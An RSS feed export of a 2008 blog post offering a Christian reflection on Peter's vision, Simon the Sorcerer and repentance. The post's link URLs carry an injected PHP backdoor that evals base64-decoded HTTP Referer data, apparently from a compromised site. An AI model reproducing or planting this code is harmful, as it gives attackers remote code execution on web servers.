Friedrich's Blog » False Teaching http://brunzema.com/blog Life, the universe and all. Fri, 23 Apr 2010 18:02:09 +0000 en hourly 1 http://wordpress.org/?v= Beware of false teachings http://brunzema.com/blog/2008/04/30/beware-of-false-teachings/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/ http://brunzema.com/blog/2008/04/30/beware-of-false-teachings/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Wed, 30 Apr 2008 13:01:57 +0000 brunzefb http://brunzema.com/blog/?p=17 About noon the following day as they were on their journey and approaching the city, Peter went up on the roof to pray. He became hungry and wanted something to eat, and while the meal was being prepared, he fell into a trance. He saw heaven opened and something like a large sheet being let down to earth by its four corners. It contained all kinds of four-footed animals, as well as reptiles of the earth and birds of the air. Then a voice told him, "Get up, Peter. Kill and eat." "Surely not, Lord!" Peter replied. "I have never eaten anything impure or unclean." The voice spoke to him a second time, "Do not call anything impure that God has made clean." Acts 10, 9-15

There is an unfortunate tendency in many mainline Churches to preach a new theology, which (paraphrased by me) states that everything is OK, that you only need to believe in Christ, and that everything else is taken care of. Be happy, rejoice, and wait for heaven. Proponents of this would likely want point at the above scripture, at Peter's vision. In the vision, Peter is being asked to do something ritually unclean, to eat something which was prohibited by the laws of the old Covenant. The voice of the angel tells Peter not to call anything impure that God has made clean. Does this mean that that no matter what I do, God has already made me clean, and I have nothing to worry about?

Earlier in the Acts, there is a story about Simon the Sorcerer, who tries to persuade Peter to sell him the power to give the gift of the Holy Spirit to people.

Peter answered: "May your money perish with you, because you thought you could buy the gift of God with money! You have no part or share in this ministry, because your heart is not right before God. Repent
of this wickedness and pray to the Lord. Perhaps he will forgive you for having such a thought in your heart. For I see that you are full of bitterness and captive to sin." Acts 8, 20-23

Simon is encouraged to repent of his ways, to turn around and walk a different way, and I believe that we need to look at ourselves, turn around, and try to do things in our lives that are pleasing to God.

While faith in Christ is the key requirement for forgiveness of sins, true disciples will want to try to turn away from sin. As a Christian, it is not OK to do anything bad that comes to mind.

"Why do you ask me about what is good?" Jesus replied. "There is only One who is good. If you want to enter life, obey the commandments." Matthew 19, 17

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